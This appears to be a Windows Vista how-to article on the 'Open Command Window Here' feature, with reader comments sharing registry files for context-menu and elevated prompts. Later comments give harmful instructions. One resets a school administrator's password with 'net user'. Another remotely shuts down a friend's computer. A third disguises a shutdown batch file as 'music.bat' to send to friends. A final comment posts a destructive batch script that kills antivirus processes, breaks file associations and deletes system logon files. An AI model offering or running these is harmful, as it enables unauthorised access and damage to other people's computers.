Use "Command Prompt Here" in Windows Vista
A very popular registry hack for Windows XP was the “Command Prompt Here” hack, that would automatically open a command prompt window in the directory that you had clicked on.
Windows Vista includes this ability right out of the box, it’s just not immediately obvious, because it’s hidden behind a shortcut key.
To activate this, just hold down the Shift key when you right-click on a folder, and you should see the Open Command Window Here menu item:
Just like that, a command window opens with that path as the working directory


Daily Email Updates
You can get our how-to articles in your inbox each day for free. Just enter your name and email below:


This seems to only work in the listview area of explorer, not if you click on folders in the treeview.
just like every other version of Windows, you can edit the registry to add the Open Command Prompt Here to the right-mouse click menu. Copy and paste the following text into Notepad, save it a a .reg file, then simply double-click the .reg file and import it into the registry:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\Command Prompt]
@=”Open Command Prompt Here”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\Command Prompt\command]
@=”Cmd.exe /k pushd %L”
It also has a “copy as path” option
The registry hack works beautifully! Thanks.
Holding shift didn’t work, registry script did. Thanks.
Copy-paste the content below into a REG-file and import it into the Registry to add a similar shortcut to the contect menu for drives as well. The ampersand in the “Open Command &Prompt Here” string adds a keyboard shortcut (mark the drive, press the Windows key, press the P key to open the command prompt window using the keyboard).
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\Command Prompt]
@=”Open Command &Prompt Here”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\Command Prompt\command]
@=”Cmd.exe /k pushd %L”
Ohh, sorry, not the Windows key, should have been the Contect Menu key.
]
does this reg-key also work on Win2003 Server?
shaggy
>>Shaggy
Oh yes! For Windows 95/98/Me/NT4/2k/XP/2k3 you only need the command “cmd.exe”, but for Win2k3 the command “cmd.exe /k pushd %L” will work as well.
Thank you Knud, right click and context menu work fine on my Win2k3
Thanks! Wasn’t in my vista for some reason, but the reg hack worked a treat =)
Hey, I was wondering if anyone could tell me some tricks for the command prompt. I have a vista and was wondering if u had any coool tricks for me. Thanks….
hi bob …..first of all you go to run and then write “cmd”in run then enter you will get command prompt .If u want to know about ur notebook mac address or physical address then you write “ipconfig/all” in command prompt and press enter , u will get all physical address of ur network.
The quickest way to get to Command Prompt is add “Command Prompt Here” to Computer context menu of right click. Here’s the registry script: -
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\cmd]
@=”Command Prompt Here”
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\cmd\command]
@=”C:\Windows\System32\cmd.exe”
Copy all the text and then paste into Notepad. Save as cmd-computer.reg and then merge it. Right-click on Computer and “Command Prompt Here” option is available!
Or, you can copy, paste and merge the registry file here below: -
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Directory\Background\shell\cmd]
@=”Command Prompt Here”
[HKEY_CLASSES_ROOT\Directory\Background\shell\cmd\command]
@=”C:\Windows\System32\cmd.exe”
!!! open command prompt as ADMINISTRATOR
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Directory\shell\Runas]
@=”Open Administrator Command Window Here”
[HKEY_CLASSES_ROOT\Directory\shell\Runas\Command]
@=”cmd.exe /k \”pushd %L && title Elevated Command Prompt Window\”"
[HKEY_CLASSES_ROOT\Drive\shell\Runas]
@=”Open Administrator Command Window Here”
[HKEY_CLASSES_ROOT\Drive\shell\Runas\Command]
@=”cmd.exe /k \”pushd %L && title Elevated Command Prompt Window\”"
I have a problem with my other computer connecting to the internet, it is connected to the router but can connect to the internet.
I checked all the setting and reset the winsock and when i try do use the diagnostic it says that windows cant figure out whats wrong.
If you guys have any advise it couldn’t hurt.
Could someone please recommend some command strings to use once in the cmd.exe window? I’d like to find a glossary of different commands and the results and/or options that they produce. Thanks.
hey guys i m new on this but i have a quastion …
how can i open an cmd in vista as administrator with cmd .
if any of you know please let me know i try this but is not working…
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Directory\shell\Runas]
@=”Open Administrator Command Window Here”
[HKEY_CLASSES_ROOT\Directory\shell\Runas\Command]
@=”cmd.exe /k \”pushd %L && title Elevated Command Prompt Window\”"
[HKEY_CLASSES_ROOT\Drive\shell\Runas]
@=”Open Administrator Command Window Here”
[HKEY_CLASSES_ROOT\Drive\shell\Runas\Command]
@=”cmd.exe /k \”pushd %L && title Elevated Command Prompt Window\”"
thanks…
To open a command prompt with admin rights (i.e. “as administrator”), just change the “cmd.exe /k %L” portion to “cmd.exe /s /k %L”
You can create all sorts of shell extensions this way. I use Process Explorer (the Sysinternals tool) and show the column “command line” which shows the full path and commandline args used for what ever process you want to duplicate.
Of course, regarding the command prompt with “run as admin” rights, there’s the built-in shift-right-click method, but I personally prefer adding the 2nd shell extension so I don’t HAVE to use both hands (i.e. the shift key). Whom ever said that “necessity is the mother of all invention” hasn’t got a handle on reality yet and figured out that laziness is the mother of all invention.
I am normally not a command line user, but having now discovered what looks like an old DOS command prompt, I am curious about it. A few simple tries confirmed that my old DOS knowledge was not going to be very useful here. Is this one of those things that you have to buy the Windows developer package to learn or is there a command list documented somewhere with, as the user above noted, an explanation of the consequences of each? I would ask this on the forum, but I still can’t log in there.
Mai Ling / Spacegold – Try here for Command reference material:
http://technet.microsoft.com/e.....90890.aspx
Open up cmd prompt and type
“color 2″ you can also type in “color /?” to give you the list of options to change your command prompt coloring.
A fun thing to do, At school to change Admins password you type in “net user” and see the name of the administrator then you type “net user (name of admin) *” Yes, Include the * because thats the symbol for password Then. Type your desired password, It wont come up as you typing anything but it is, Then press ENTER and Re-type your password, Again it wont come up as typing anything but it is. And then press ENTER again.
You can also type “ipconfig” if you wunna shut down a friends computer, find the IP adress and then type “shutdown -i” which opens up a new window click “add”, Type the IP in. fill out the rest and click OK.
That SHOULD work, not sure tho =)
You can also Open up note-pad, type “shutdown -s -t 30 -c “Trojan detected!” (just for fun) and click “Save As” but when your writing the name for example, Call it “music.bat” To save as a batch file, Send it to a friend over msn or e-mail. When they click it, a box will pop-up on there screen saying “Trojan detcted!” and there comp. will shutdown in 30 secs.
To stop this process, Open up command prompt and type “shutdown -a”, The a is for Abort, and will Abort ALL shutdown procedures.
Enjoy, Hopefully i got the info right! =)
title Hack Setup
color 0A
@echo off
set end=md “Hack installing”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked….
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown
Hi Guys,
How can I change the ownership of registry entry via command mode?